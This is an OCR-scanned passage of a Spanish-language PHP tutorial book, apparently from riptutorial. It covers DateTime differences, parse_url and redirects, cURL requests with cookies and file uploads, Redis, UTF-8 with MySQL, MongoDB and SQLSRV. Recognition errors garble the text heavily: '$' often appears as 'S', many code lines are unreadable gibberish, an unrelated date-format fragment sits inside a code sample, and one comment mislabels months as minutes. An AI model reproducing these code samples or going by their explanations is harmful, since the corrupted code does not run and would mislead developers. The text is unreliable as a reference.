Consiguiendo la diferencia entre dos fechas / horarios. 


La forma más factible es usar la clase bateTime . 
Un ejemplo: 


<?php 

// Create a date time object, which has the value of - two years ago 
StwoYearsAgo = new DateTime ("2014-01-18 20:05:56"); 

// Create a date time object, which has the value of - now 

$now = new DateTime("2016-07-21 02:55:07"); 


// Calculate the diff 
Sdiff = $now->d1ff ($StwoYearsAgo)'; 


// Sdiff->y contains the difference in years between the two dates 
SyearsDiff = $diff->y; 
// Sdiff->m contains the difference in minutes between the two dates 
SmonthsD1ff = $diff£->m; 

// $dAiff->d contains the difference in days between the two dates 
$daysDiff = $diff->d; 
// Sdiff->h contains the difference in hours between the two dates 
ShoursDiff = $diff->h; 
// Sdiff->i contains the difference in minutes between the two dates 
SminsDiff£ = $diff£->1; 
// $dAiff->s contains the difference in seconds between the two dates 
SsecondsDiff = $diff->s; 


// Total Days Diff, that is the number of days between the two dates 
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DATE_RFC1123 - REC 1123 (viernes, 22 de julio de 2016, 14:50:01 +0000) 


DATE_RFC3339 - Igual que DATE_ATOM (2016-07-22T14: 50: 01 + 00: 00) 
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StotalDaysDiff = $diff->days; 


// Dump the diff altogether just to get some details ;) 
var_dump ($diff); 


Además, comparar dos fechas es mucho más fácil, solo use los operadores de comparación , 
como: 


<?php 

// Create a date time object, which has the value of - two years ago 
StwoYearsAgo = new DateTime ("2014-01-18 20:05:56"); 

// Create a date time object, which has the value of - now 

$now = new DateTime ("2016-07-21 02:55:07"); 

var_dump ($now > $twoYearsAgo); // prints bool (true) 

StwoYearsAgo > $now); // prints bool (false) 

var_dump ($twoYearsAgo <= $twoYearsAgo); // prints bool (true) 
var_dump ($now == $now); // prints bool (true) 


var_dump 


( 
( 
( 
( 


Lea Trabajando con fechas y horarios en línea: https://riptutorial.com/es/php/topic/425/trabajando- 
con-fechas-y-horarios 
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Capítulo 99: URLs 


Examples 


Analizar una URL 
Para separar una URL en sus componentes individuales, US parse_ur1 () : 


Surl = 'http://www.example.com/page?foo=1ébar=baztanchor'; 
Sparts = parse_url ($Surl); 


Después de ejecutar lo anterior, el contenido de sparts sería: 


Array 
( 
[scheme] => http 
[host] => www.example.com 
[path] => /page 
[query] => foo=18bar=baz 


[fragment] => anchor 


También puede devolver selectivamente solo un componente de la url. Para devolver sólo la 
cadena de consulta: 


Surl = 'http://www.example.com/page?foo=14bar=baztanchor'; 
SqueryString = parse_url ($url, PHP_URL_QUERY); 


Se acepta cualquiera de las siguientes constantes: pahp_UuRL_SCHEME , PHP_URL_HOST , PHP_URL_PORT , 


PHP_URL_USER , PHP_URL_PASS , PHP_URL_PATH , PHP_URL_QUERY Y PHP_URL_FRAGMENT . 


Para analizar aún más una cadena de consulta en pares de valores clave, USO parse_str() : 


$params = []; 
parse_str ($queryString, $params); 


Después de la ejecución de lo anterior, la matriz 5params se completaría con lo siguiente: 


Array 


( 
[foo] => 1 
[bar] => baz 


Redireccionando a otra URL 


Puede usar la función header () para indicar al navegador que redireccione a una URL diferente: 
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Surl = 'https://example.org/foo/bar'; 
if (!headers_sent()) 1 // check headers - you can not send headers if they already sent 
heacer ((Miocsarmcilcons Y, Sutil), 


exit; // protects from code being executed after redirect request 
) else ( 


throw new Exception('Cannot redirect, headers already sent'); 


También puede redirigir a una URL relativa (esto no es parte de la especificación HTTP oficial, 
pero funciona en todos los navegadores): 


Smezl = “Foo/lecue" y 

1f (!headers_sent()) ( 
header (Mhocation:+ . . sSuecl): 
exit; 

) else ( 


throw new Exception('Cannot redirect, headers already sent'); 


Si se han enviado encabezados, alternativamente puede enviar una etiqueta HTML de meta 


refresh. 


ADVERTENCIA: la etiqueta meta refresh se basa en que HTML sea procesado correctamente 
por el cliente, y algunos no lo harán. En general, solo funciona en navegadores web. Además, 
tenga en cuenta que si se han enviado encabezados, es posible que tenga un error y esto debería 
provocar una excepción. 


También puede imprimir un enlace para que los usuarios hagan clic, para los clientes que ignoran 
la etiqueta de meta actualización: 


Surl = 'https://example.org/foo/bar'; 

1f (!headers_sent()) ( 
nsacler ((ossamrilomns Y , Suiza)? 

) else ( 
SsaveUrl = htmlspecialchars($url); // protects from browser seeing url as HTML 
// tells browser to redirect page to $saveUrl after 0 seconds 


print '<meta http-equiv="refresh" content="0; url=' . $saveUrl . '">'; 

// shows link for user 

print '<p>Please continue to <a href="" . SsaveUrl . '">' . S$saveUrl . '</a></p>'; 
) 


exit; 


Construye una cadena de consulta codificada en URL desde una matriz 


El http build query () Creará una cadena de consulta desde una matriz u objeto. Estas cadenas se 
pueden adjuntar a una URL para crear una solicitud GET o se pueden usar en una solicitud POST 
con, por ejemplo, cURL. 


Sparameters = array ( 
'"parameterl' => 'foo', 
'"parameter2' => 'bar', 


y; 
SqueryString = http_build_ query ($parameters); 
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$querystring tendrá el siguiente valor: 


parameterl=foosparameter2=bar 


http_build_query () también funcionará con matrices multidimensionales: 


Sparameters = array ( 
"parameter3" => array( 
sala => ESO, 
MS Ton => bar”, 
), 


"parameter4" => "baz", 
); 
SqueryString = http_build_ query ($parameters); 


$querystring tendrá este valor: 


parameter3%5Bsubl1$5D=fooftparameter3$55Bsub2%5D=barg$parameter4=baz 


que es la versión codificada en URL de 


parameter3[subl1]=foos8sparameter3[sub2]=bargsparameter4=baz 


Lea URLs en línea: https://riptutorial.com/es/php/topic/1800/urls 


https://riptutorial.com/es/nome 


517 


Capítulo 100: Usando cCURL en PHP 


Sintaxis 


* resource curl_init ([string $ url = NULL]) 

* bool curl_setopt (resource $ ch, int $ option, mixed $ value) 
* bool curl_setopt_array (resource $ ch, array $ options) 

* mezclado curl_exec (recurso $ ch) 

* void curl_close (resource $ ch) 


Parámetros 


Parámetro | Detalles 


curl_init - Inicializar una sesión cCURL 

url La url a utilizar en la solicitud de cCURL. 

curl_setopt - Establecer una opción para una transferencia cCURL 
ch El controlador cCURL (valor de retorno de curl_init () ) 


CURLOPT_XXX se establecerá; consulte la documentación de PHP para ver 


ml la lista de opciones y valores aceptables 

valor El valor que se establecerá en el controlador cURL para la opción dada 
curl_exec - Realizar una sesión CURL 

ch El controlador cCURL (valor de retorno de curl_init () ) 


curl_close  - Cerrar una sesión de CURL 


ch El controlador cCURL (valor de retorno de curl_init () ) 


Examples 


Uso básico (solicitudes GET) 


CURL es una herramienta para transferir datos con sintaxis de URL. Es compatible con HTTP, 
FTP, SCP y muchos otros (curl> = 7.19.4). Recuerde, debe instalar y habilitar la extensión 
CcURL para usarla. 


// a little script check is the cURL extension loaded or not 
if(lextension_ loaded ("curl")) ( 
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die("cURL extension not loaded! Quit Now."); 


) 
// Actual script start 
// create a new CURL resource 


// $curl is the handle of the resourc 
Seur = cual alme (0) p 


// set the URL and other options 
curl_setopt ($curl, CURLOPT_URL, "http://www.example.com"); 


// execute and pass the result to browser 
curl_exec ($curl); 


// close the CURL resource 


cussl_ close (Seur) y 


Solicitudes POST 
Si desea imitar la acción POST del formulario HTML, puede utilizar cCURL. 


// POST data in array 
$post = [ 
'a' => 'apple', 
'b' => 'banana' 


1; 


// Create a new CURL resource with URL to POST 
$ch = curl_init('http://www.example.com'); 


// We set parameter CURLOPT_RETURNTRANSFER to read output 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); 


// Let's pass POST data 
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post); 


// MW xecute our request, and get output in a $response variable 


Sresponse = curl_exec($ch); 


// Close the connection 
curl_close ($ch); 


Usando multi_curl para hacer múltiples solicitudes POST 


A veces necesitamos hacer muchas solicitudes POST a uno o muchos puntos finales diferentes. 
Para lidiar con este escenario, podemos usar multi_curl . 


En primer lugar, creamos cuantas solicitudes se necesitan exactamente de la misma forma que 
en el ejemplo simple y las colocamos en una matriz. 


Usamos curl_multi_init y le agregamos cada identificador. 


En este ejemplo, estamos usando 2 puntos finales diferentes: 
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//array of data to POST 


Srequest_contents = array (); 
//array of URLs 

Susls = array), 

//array of CURL handles 
Schs = array (); 


//first POST content 
Srequest_contents[] = [ 
'a' => 'apple', 

'b' => 'banana' 
1; 
//second POST content 


Srequest_contents[] = [ 
La => "Elsa", 
'b' => 'shrimp' 


1; 
//set the urls 

Surls[] = 'http://www.example.com'; 
Sutals 11] 


"http: //ww.example2.com'; 


//create the array of CcURL handles and add to a multi_curl 
Sala = Cuvel muelle (0) 7 
foreach ($urls as $key => Surl) ( 
Schs[$key] = curl_init ($Surl); 
curl_setopt (Schs[$key], CURLOPT_RETURNTRANSFER, true); 
curl_setopt ($chs[$key], CURLOPT_POST, true); 
curl_setopt ($chs[$key], CURLOPT_POSTFIELDS, S$request_contents[$key]); 


curl_multi_add_handle ($mh, $chs[$key]); 


Luego, usamos curl_multi_exec para enviar las solicitudes 


//running the requests 

$running = null; 

do ( 
curl_multi_exec($mh, $running); 

) while (S$running); 


//getting the responses 
foreach (array_keys ($chs) as S$key) Í 


Serror = curl_error ($chs[$key]); 


Slast_effective_URL = curl_getinfo($chs[S$key], CURLINFO_EFFECTIVE_URL); 


Stime = curl_getinfo($chs[$key], CURLINFO_TOTAL_ TIME); 
Sresponse = curl_multi_getcontent ($chs[S$key]);  // get results 


if (!lempty(Serror)) ( 
echo "The trequesti+keyiretuentaterror:Serror Na: 
) 
else ( 
echo "The request to 'S$last_effective_URL' returned 'Sresponse' in $time 
UN We 


) 


curl_multi_remove_handle ($mh, $chs[$key]); 


// close current handler 
curl_multi_close ($mh); 
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Una posible devolución para este ejemplo podría ser: 

La solicitud a' http://www.example.com ' devolvió 'frutos' en 2 segundos. 

La solicitud a' http://www.example2.com ' devolvió 'mariscos' en 5 segundos. 
Creando y enviando una solicitud con un método personalizado. 
Por defecto, PHP Curl admite solicitudes cer y zosr . También es posible enviar solicitudes 


personalizadas, como beLETE , PUT O PaTcH (O incluso métodos no estándar) utilizando el parámetro 


CURLOPT_CUSTOMREQUEST . 


E 
T 
H 


$method = 'DELE 


H 


E"; // Create a DELETE request 


Sea = Cuial alme ((Suizl) p 

curl_setopt ($ch, CURLOP 
curl_setopt ($ch, CURLOP 
Scontent = curl_exec(Sch); 


ETURNTRANSFER, 1); 
USTOMREQUEST, S$method); 


OR 
LE 


curl_close($ch); 


Uso de cookies 


CcURL puede mantener las cookies recibidas en las respuestas para su uso con solicitudes 
posteriores. Para el manejo simple de cookies de sesión en la memoria, esto se logra con una 
sola línea de código: 


curs _scuog (Sea, CURLOPE_ CON a, MW) 


En los casos en los que deba conservar las cookies después de que se destruya el manejador de 
la CURL, puede especificar el archivo para almacenarlas: 


curl_setopt ($ch, CURLOPT_COOKIEJAR, "/tmp/cookies.txt"); 


Luego, cuando desee volver a utilizarlos, páselos como archivo de cookie: 


curl_setopt ($ch, CURLOPT_COOKIEFILE, "/tmp/cookies.txt"); 


Sin embargo, recuerde que estos dos pasos no son necesarios a menos que necesite llevar 
cookies entre diferentes manejadores de cURL. Para la mayoría de los casos de uso, todo lo que 
necesita es establecer curnopr_cookterILE en la cadena vacía. 


El manejo de cookies se puede usar, por ejemplo, para recuperar recursos de un sitio web que 
requiere un inicio de sesión. Esto suele ser un procedimiento de dos pasos. Primero, POST a la 
página de inicio de sesión. 


<?php 


$ create a CURL handle 
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Sicla == Sviel_ dime (0) + 


set the URL (this could also be passed to curl_init() if desired) 
curl_setopt ($ch, CURLOPT_URL, "https://www.example.com/login.php"); 


set the HTTP method to POST 
curl_setopt ($ch, CURLOPT_POST, true); 


setting this option to an empty string enables cookie handling 
but does not load cookies from a file 
curl_setopt ($ch, CURLOPT_COOKIEFILE, ""); 


set the values to be sent 
curl_setopt ($ch, CURLOPT_POSTFIELDS, array ( 
"username"=>"3joe_bloggs", 


"password"=>"$up3r_$3cr3t", 


Y; 


ff return the response body 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); 


+ send the request 
sSresuile. = epale (ela) A 


El segundo paso (después de que se realiza la comprobación de errores estándar) suele ser una 
simple solicitud GET. Lo importante es reutilizar el identificador de cURL existente para la 
segunda solicitud. Esto asegura que las cookies de la primera respuesta se incluirán 
automáticamente en la segunda solicitud. 


we are not calling curl_init() 


simply change the URL 


curl_setopt ($ch, CURLOPT_URL, "https://www.example.com/show_me_the_foo.php"); 


change the method back to GET 
curlEsetopt (eeh CURLOPTEATTBGE ER, EXuUS) 


send the request 
Sresulle. = epi exe (Sel) A 


finished with CcURL 
curl_close($ch); 


cl StuLtl vwálela SES stulco o» 


Esto solo pretende ser un ejemplo de manejo de cookies. En la vida real, las cosas suelen ser 
más complicadas. A menudo, debe realizar un GET inicial de la página de inicio de sesión para 
obtener un token de inicio de sesión que debe incluirse en su POST. Otros sitios pueden bloquear 
el cliente CURL en función de su cadena User-Agent, lo que requiere que lo modifique. 


Envío de datos multidimensionales y varios archivos con CurlFile en una sola 
solicitud 


Digamos que tenemos una forma como la de abajo. Queremos enviar los datos a nuestro servidor 
web a través de AJAX y desde allí a un script que se ejecuta en un servidor externo. 
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First Name 


John 


Last Name 


Doe 


Favorite Activities 


Soccer X  Hiking 


Your Files 


| my_photo.jpg 


Así que tenemos entradas normales, un campo de selección múltiple y una zona de descarga de 


archivos donde podemos cargar varios archivos. 


Asumiendo que la solicitud POST de AJAX fue exitosa, obtenemos los siguientes datos en el sitio 


PHP: 


in E CMBIO SN) 


Array 

( 
[first_name] => John 
[last_name] => Doe 
[activities] => Array 


( 
[0] => soccer 
[1] => hiking 


y los archivos deberían verse así 


E joio e (9 AS) 


Array 


( 
[upload] => Array 
( 
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[name] => Array 
( 
[0] => my_photo.Jpg 
[1] => my_life.pdaf 


[type] => Array 
( 
[0] => image/Jpg 
[1] => application/pdf 


[tmp_name] => Array 

( 
[0] => /tmp/phpW5spji 
[1] => /tmp/phpWwgnUeY 


[error] => Array 
( 
[0] => 0 
[1] => 0 
) 
[size] => Array 


( 
[0] => 647548 
[1] => 643223 


Hasta ahora tan bueno. Ahora queremos enviar estos datos y archivos al servidor externo usando 
CcURL con la clase CurlFile 


Como cURL solo acepta una matriz simple pero no multidimensional, primero tenemos que 
aplanar la matriz $ _POST. 


Para hacer esto, podrías usar esta función, por ejemplo, que te da lo siguiente: 


// print_r($new_post_array) 


Array 

( 
[first_name] => John 
[last_name] => Doe 
[activities[0]1] => soccer 
[activities[1]] => hiking 


El siguiente paso es crear objetos CurlFile para los archivos cargados. Esto se hace mediante el 
siguiente bucle: 


Síiles = arte f 
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foreach ($_FILES["upload"]["error"] as $key => Serror) ( 


1f (ferror == UPLOAD_ERR_OK) ( 
Sfiles["upload[$key]"] = curl_file_create( 
S_FILES['upload']['tmp_name'] [$key], 


$_FILES['upload'1['type']l[Skeyl, 
S_FILES['upload']['name'] [$key] 


); 


curl_file_create es una función auxiliar de la clase CurlFile y crea los objetos CurlFile. Guardamos 
cada objeto en la matriz $ files con claves llamadas "upload [0]" y "upload [1]" para nuestros dos 
archivos. 


Ahora tenemos que combinar la matriz de publicaciones aplanada y la matriz de archivos y 
guardarla como $ datos como este: 


Sdata = $new_post_array + $files; 


El último paso es enviar la solicitud cCURL: 


Sea = Ccuial almile (0) + 


curl_setopt_array($ch, array ( 
CURLOPT_POST => 1, 
CURLOPT_URL => "https://api.externalserver.com/upload.php", 
CURLOPT_RETURNTRANSFER => 1, 
CURLINFO_HEADER_OUT => 1, 
CURLOPT_POSTFIELDS => $data 
Y); 


sresule = cuele (Sea) y 


curl_close (S$ch); 


Ya que $ data ahora es una matriz simple (plana), CURL envía automáticamente esta solicitud 
POST con Tipo de contenido: multipart / form-data 


En upload.php en el servidor externo, ahora puede obtener los datos y archivos publicados con $ 
_POST y $ _FILES como lo haría normalmente. 


Obtén y establece encabezados http personalizados en php 
Enviando el encabezado de solicitud 


Suzal = "hewss//locallose/miteo, aa" y 

Sea == Guia amule (Suiza) e 

curl_setopt_array ($ch, array ( 
CURLOPT_HTTPHEADER => array('X-User: admin', 'X-Authorization: 123456'), 
CURLOPT_RETURNTRANSFER  =>true, 
CURLOPT_VERBOSE => 1 


Y; 


Sout = curl_exec($ch); 
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curl_close($ch); 
// echo response output 
echo S$out; 


Leyendo el encabezado personalizado 


print_r(apache_request_headers ()); 


Salida: - 


Array 
( 
[Host] => localhost 
[Accept] => */* 
[X-User] => admin 
[X-—-Authorization] => 123456 
[Content-Length] => 9 
[Content-Typel => application/x-www-form-urlencoded 


También podemos enviar el encabezado usando la siguiente sintaxis: 


iz L header "X-MyHeader: 123" www.google.com 


Lea Usando cURL en PHP en línea: https://riptutorial.com/es/php/topic/701/usando-curl-en-php 
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Capítulo 101: Usando Redis con PHP 


Examples 


Instalando PHP Redis en Ubuntu 
Para instalar PHP en Ubuntu, primero instale el servidor Redis: 


sudo apt install redis-server 


Luego instale el módulo PHP: 


sudo apt install php-redis 


Y reinicie el servidor Apache: 


sudo service apache2 restart 


Conectando a una instancia de Redis 


Suponiendo que un servidor predeterminado se ejecute en localhost con el puerto 
predeterminado, el comando para conectarse a ese servidor Redis sería: 


Sredis = new Redis(); 
Sreda!s=>connect (11127.0.0.1%, 6379); 


Ejecutando comandos redis en PHP 


El módulo Redis PHP da acceso a los mismos comandos que el cliente CLl de Redis, por lo que 
es bastante fácil de usar. 


La sintaxis es la siguiente: 


// Creates two new keys: 
Sredis->set ('mykey-1', 123); 
Srediis=>set(mykey=2 0 abedi; 


Ses ome lay (orilmes “"1250) 
var_dump ($redis->get ('mykey-1')); 


// Gets all keys starting with 'my-key-" 
Il (aries "1231, “aeloeel") 
var_dump ($redis->keys ('mykey-*"')); 


Lea Usando Redis con PHP en línea: https://riptutorial.com/es/php/topic/7420/usando-redis-con- 
php 
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Capítulo 102: UTF-8 


Observaciones 


» Debe asegurarse de que cada vez que procese una cadena UTF-8, lo haga de manera 
segura. Esta es, desafortunadamente, la parte difícil. Probablemente querrá hacer un uso 
extensivo de la extensión :o»s+-in9 de PHP. 


+ Las operaciones de cadena incorporadas de PHP no son seguras por defecto para 
UTF-8. Hay algunas cosas que puede hacer de manera segura con las operaciones 
normales de cadena de PHP (como la concatenación), pero para la mayoría de las cosas 
debería usar la función equivalente mbs+ring. 


Examples 


Entrada 


+ Debe verificar que todas las cadenas recibidas sean UTF-8 válidas antes de intentar 
almacenarlas o usarlas en cualquier lugar. PHP mb check encoding () hace el truco, pero 
tienes que usarlo consistentemente. Realmente no hay forma de evitar esto, ya que los 
clientes malintencionados pueden enviar datos en cualquier codificación que deseen. 


Sstring = $_REQUEST['user_comment']; 
1f (!mb_check_encoding($string, 'UTF-8')) ( 
// the string is not UTF-8, so re-encode it. 
SactualEncoding = mb_detect_encoding($string); 
Sstring = mb_convert_encoding($string, 'UTF-8', S$actualEncoding); 


+ Si está utilizando HTML5, puede ignorar este último punto. Desea que todos los datos 
que le envíen los navegadores estén en UTF-8. La única forma confiable de hacer esto es 
agregar el atributo accept-charsert a todas sus etiquetas <form> así: 


<form action="somepage.php" accept-charset="UTF-8"> 


Salida 
+ Si su aplicación transmite texto a otros sistemas, también deberán estar informados de la 
codificación de caracteres. En PHP, puede usar la opción derauit_charser ON php.ini , O 
emitir manualmente el encabezado MIME content-Type . Este es el método preferido para 
apuntar a los navegadores modernos. 


header ('Content-Type: text/html; charset=utf-8'); 


+ Si no puede establecer los encabezados de respuesta, también puede configurar la 
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codificación en un documento HTML con metadatos HTML . 


> HTML5 


<meta charset="utf-8"> 


o Versiones anteriores de HTML 


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


Almacenamiento de datos y acceso 


Este tema trata específicamente sobre UTF-8 y las consideraciones para usarlo con 
una base de datos. Si desea obtener más información sobre el uso de bases de datos 
en PHP, consulte este tema . 


Almacenamiento de datos en una base de datos MySQL: 


* Especifique el ut 18mo4 Caracteres uts£8mb4 en todas las tablas y columnas de texto en su base 
de datos. Esto hace que MySQL almacene y recupere físicamente los valores codificados 
de forma nativa en UTF-8. 


MySQL usará implícitamente la codificación ut s8mba si se especifica una 
intercalación ut f£8mba_* (sin ningún conjunto de caracteres explícito). 


+ Las versiones anteriores de MySQL (<5.5.3) no admiten u:ts£8mb»a por lo que se verá obligado 
a Usar utss , que solo admite un subconjunto de caracteres Unicode. 


Accediendo a los datos en una base de datos MySQL: 


* En su código de aplicación (por ejemplo, PHP), en cualquier método de acceso a base de 
datos que use, deberá configurar el conjunto de caracteres de conexión en ut f8m»a4 . De esta 
manera, MySQL no realiza ninguna conversión desde su UTF-8 nativo cuando entrega los 
datos a su aplicación y viceversa. 


+ Algunos controladores proporcionan su propio mecanismo para configurar el conjunto de 
caracteres de conexión, que actualiza su propio estado interno e informa a MySQL de la 
codificación que se utilizará en la conexión. Este suele ser el enfoque preferido. 


Por ejemplo (la misma consideración con respecto a ut £8mb4 / uers aplica como 
anteriormente): 


o Si está utilizando la capa de abstracción PDO con PHP > 5.3.6, puede especificar el 
charset A charse: en el DSN : 


Shandle = new PDO('mysql:charset=utf8mb4'); 


o Si está usando mysali, puede llamar a set_cnarser () : 
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Sconn = mysqli_connect ('localhost', 'my_user', 'my_password', 'my_db'); 


Sconn->set_charset ('utf£8mb4'); // object oriented styl 
mysqli_set_charset ($conn, 'utf8mb4'); // procedural style 


o Si está atascado con MySQL simple pero está ejecutando PHP > 5.2.3, puede llamar a 


mysql_set_charset . 


Sconn = mysql_connect ('localhost', 'my_user', 'my_password'); 


Sconn-=>set_charset ('utf8mb4'); // object oriented styl 
mysql_set_charset ($conn, 'utf8mb4'); // procedural style 


- Si el controlador de la base de datos no proporciona su propio mecanismo para 
configurar el conjunto de caracteres de conexión, es posible que tenga que realizar 
una consulta para decirle a MySQL cómo su aplicación espera que los datos de la 
conexión se codifiquen: ser names 'utf8mb4' . 


Lea UTF-8 en línea: https://riptutorial.com/es/php/topic/1745/utf-8 
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Capítulo 103: Utilizando MongoDB 


Examples 


Conectarse a MongoDB 
Cree una conexión MongoDB, que luego puede consultar: 


Smanager = new IAMongoDB1DriverIManager ('mongodb: //localhost:27017'); 


En el siguiente ejemplo, aprenderá cómo consultar el objeto de conexión. 


Esta extensión cierra la conexión automáticamente, no es necesario cerrar manualmente. 


Obtener un documento - findOne () 
Ejemplo para buscar solo un usuario con un ID específico, debe hacer: 


Soptions = ['limit' => 1]; 
Sfilter = ['_id' => new IAMongoDBIBSONMObject ID ('578ff7c3648c940e008b457a')]; 
Squery = new IMongoDBYDriverQuery ($filter, Soptions); 


Scursor = $manager->executeQuery ('database_name.collection_name', S$query); 
ScursorArray = $cursor->toArray (); 
1f (isset ($cursorArray[0])) ( 

var_dump ($cursorArray[0]); 


) 


Obtener varios documentos - encontrar () 


Ejemplo para buscar varios usuarios con el nombre "Mike": 


Sfilter = ['name' => 'Mike']; 
Squery = new IXMongoDB1DriverYQuery ($filter); 


Scursor = $manager->executeQuery ('database_name.collection_name', S$query); 
foreach ($cursor as $doc) ( 
var_dump ($doc) ; 


Insertar documento 


Ejemplo para agregar un documento: 


Sdocument = [ 
meme"! => “ama”, 
"active' => true, 
“imto” => [Plgenze" => 'male"”, "age" => SO] 


1; 
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$Sbulk = new IMongoDB1WDriverYBulkWrite; 
$_idl = $bulk->insert ($document) ; 
Sresult = $manager->executeBulkWrite('database_name.collection_name', S$bulk); 


Actualizar un documento 
Ejemplo para actualizar todos los documentos donde el nombre es igual a "John": 


Sfilter = ['name' => 'John']; 
Sdocument = ['name' => 'Mike']; 


$bulk = new IMongoDB1WDriverYBulkWrite; 
Sbulk->update ( 

Sfilter, 

Sdocument, 

["'multi' => truel 
y; 


Sresult = $manager->executeBulkWrite('database_name.collection_name', $bulk); 


Borrar un documento 
Ejemplo para borrar todos los documentos donde el nombre es igual a "Peter": 


$bulk = new IMongoDB1WDriverYBulkWrite; 


stlleez => [mame => "Reresz"]$ 
Sbulk->delete ($filter); 


Sresult = $manager->executeBulkWrite('database_name.collection_name', $bulk); 


Lea Utilizando MongoDB en línea: https://riptutorial.com/es/php/topic/4143/utilizando-mongodb 
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Capítulo 104: Utilizando SQLSRV 


Observaciones 


El controlador SQLSRV es una extensión de PHP compatible con Microsoft que le permite 
acceder a las bases de datos de Microsoft SQL Server y SQL Azure. Es una alternativa para los 
controladores MSSQL que estaban en desuso a partir de PHP 5.3 y se han eliminado de PHP 7. 


La extensión SQLSRV se puede utilizar en los siguientes sistemas operativos: 


* Windows Vista Service Pack 2 o posterior 

* Windows Server 2008 Service Pack 2 o posterior 
+ Windows Server 2008 R2 

* Windows 7 


La extensión SQLSRV requiere que el cliente nativo de Microsoft SQL Server 2012 se instale en 
la misma computadora que ejecuta PHP. Si el cliente nativo de Microsoft SQL Server 2012 aún no 
está instalado, haga clic en el enlace correspondiente en la página de documentación de 
"Requisitos" . 


Para descargar los últimos controladores SQLSRV, vaya a lo siguiente: Descargar 


Una lista completa de los requisitos del sistema para los controladores de SQLSRV se puede 
encontrar aquí: Requisitos del sistema 


Aquellos que usan SQLSRV 3.1+ deben descargar el controlador Microsoft ODBC 11 para SQL 
Server 


Los usuarios de PHP7 pueden descargar los últimos controladores de GitHub 


Microsoft8) ODBC Driver 13 para SQL Server es compatible con Microsoft SQL Server 2008, SQL 
Server 2008 R2, SQL Server 2012, SQL Server 2014, SQL Server 2016 (Preview), Analytics 
Platform System, Azure SQL Database y Azure SQL Data Warehouse. 


Examples 


Creando una conexión 


$dbServer = "localhost,1234"; //Name of the server/instance, including optional port number 
(default is 1433) 

SdbName = "db001"; //Name of the database 

SdbUser = "user"; //Name of the user 

SdbPassword = "password"; //DB Password of that user 


SconnectionInfo = array ( 
"Database" => S$dbName, 
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"UID" => $dbUser, 
"PWD" => SdbPassword 
); 


$conn = sqlsrv_connect ($dbServer, $connectionInfo); 


SQLSRV también tiene un controlador PDO. Para conectarse mediante DOP: 


$conn = new PDO("sqlsrv:Server=localhost,1234;Database=db001", $dbUser, $dbPassword); 


Haciendo una consulta simple 


//Create Connection 


$conn = sqlsrv_connect ($dbServer, $connectionInfo); 
$Squery = "SELECT * FROM [table]"; 
$Sstmt = sqlsrv_query ($conn, $query); 


Nota: el uso de corchetes ¡1 es para escapar de la tab1e palabras tab1e ya que es una palabra 
reservada . Estos funcionan de la misma manera que los backticks * hacen en MySQL . 


invocando un procedimiento almacenado 
Para llamar a un procedimiento almacenado en el servidor: 


Squery = "(call [dbo]. [myStoredProcedure] (?,?,72))"; //Parameters '?' includes OUT parameters 


Sparams = array ( 
array ($name, SOLSRV_PARAM_IN), 
array ($age, SOLSRV_PARAM_IN), 
array ($count, SOLSRV_PARAM_OUT, SOLSRV_PHPTYPE_INT) //$count must already be initialised 


5 


Sresult = sqlsrv_query ($conn, $query, $params); 


Haciendo una consulta parametrizada 


$conn = sqlsrv_connect ($dbServer, $connectionInfo); 

Squery = "SELECT * FROM [users] WHERE [name] = ? AND [password] = ?2"; 
Sparams = array ("joebloggs", "pa55w0rd"); 

$stmt = sqlsrv_query ($conn, $query, $params); 


Si planea usar la misma instrucción de consulta más de una vez, con diferentes parámetros, se 
puede lograr lo mismo con laS sq1srv_prepare() Y sqlsrv_execute () , COMO Se muestra a 
continuación: 


Scar amrtalyil 
"apple" => 3, 
"banana" => 1, 
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"chocolate" => 2 


); 


Squery = "INSERT INTO [order_items]([item], [quantity]) VALUES (?,?)"; 
Sparams = array(8$$item, 8$S$qty); //Variables as parameters must be passed by referenc 
Sstmt = sqlsrv_prepare($conn, $query, $params); 


foreach ($cart as $item => S$qty)( 
1f(sqlsrv_execute($stmt) === FALSE) ( 
die(print_r(sqlsrv_errors(), true)); 


) 


Obteniendo resultados de consultas 

Hay 3 formas principales de obtener resultados de una consulta: 
sqilsrv_fetch_array () 

sqlsrv_fetch_array () recupera la siguiente fila como una matriz. 


Sstmt = sqlsrv_query ($conn, S$query); 


while($row = sqlsrv_fetch_array($stmt)) ( 
echo $row[0]; 
Svar = $row["name"]; 
SER 


sqlsrv_fetch_array () tiene un segundo parámetro opcional para recuperar diferentes tipos de 
matriZ: sonsrv_FETCH_ASSOC , SOLSRV_FETCH_NUMERIC Y SOLSRV_FETCH_BOTH (predeterminado) pueden 
usarse; cada uno devuelve las matrices asociativa, numérica o asociativa y numérica, 
respectivamente. 


sqlsrv_fetch_object () 
sqlsrv_fetch_object () recupera la siguiente fila como un objeto. 


Sstmt = sqlsrv_query ($conn, $query); 


while($0b] = sqlsrv_fetch_object ($stmt)) ( 
echo S$ob3j->field; // Object property names are the names of the fields from the query 


Moss 


sqlsrv_fetch () 


sqlsrv_fetch () hace que la siguiente fila esté disponible para leer. 
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Sstmt = sqlsrv_query ($conn, S$query); 


while(sqlsrv_fetch($stmt) === true) ( 
$Sfoo = sqlsrv_get_field($stmt, 0); //gets the first field -— 
) 


Recuperar mensajes de error 


Cuando una consulta sale mal, es importante buscar los mensajes de error devueltos por el 
controlador para identificar la causa del problema. La sintaxis es: 


sqlsrv_errors([int S$errorsOrWarnings]); 
Esto devuelve una matriz con: 


Llave Descripción 


SQLSTATE El estado en el que se encuentra el controlador SQL Server / OBDC 
código El código de error de SQL Server 


mensaje La descripción del error. 


Es común usar la función anterior como tal: 


SbrokenQuery = "SELECT BadColumnName FROM Table_1"; 
$stmt = sqlsrv_query ($conn, S$brokenQuery); 
1 (SSiuae === sellse) Y 
1f ((ferrors = sqlsrv_errors()) != null) ( 
foreach (Sferrors as $ferror) ( 
celo "SoLsrtaras Y. Serzror ["SOLstama]. "dy (28 
eco “eadess ".Serroz [codes Il. dz (Us 
cho "message: ".S$error['message']."<br />"; 


Lea Utilizando SQLSRV en línea: https://riptutorial.com/es/php/topic/4467/utilizando-sqlsrv 


https://riptutorial.com/es/nome 536 


Capítulo 105: Variables 


Sintaxis 


+ $ variable = 'valor'; // Asignar variable general 

* $ objeto-> propiedad = 'valor'; // Asignar una propiedad de objeto 

+ ClassName :: $ property = 'value'; // Asignar una propiedad de clase estática 
» $array [0] = 'valor'; // Asignar un valor a un índice de una matriz 

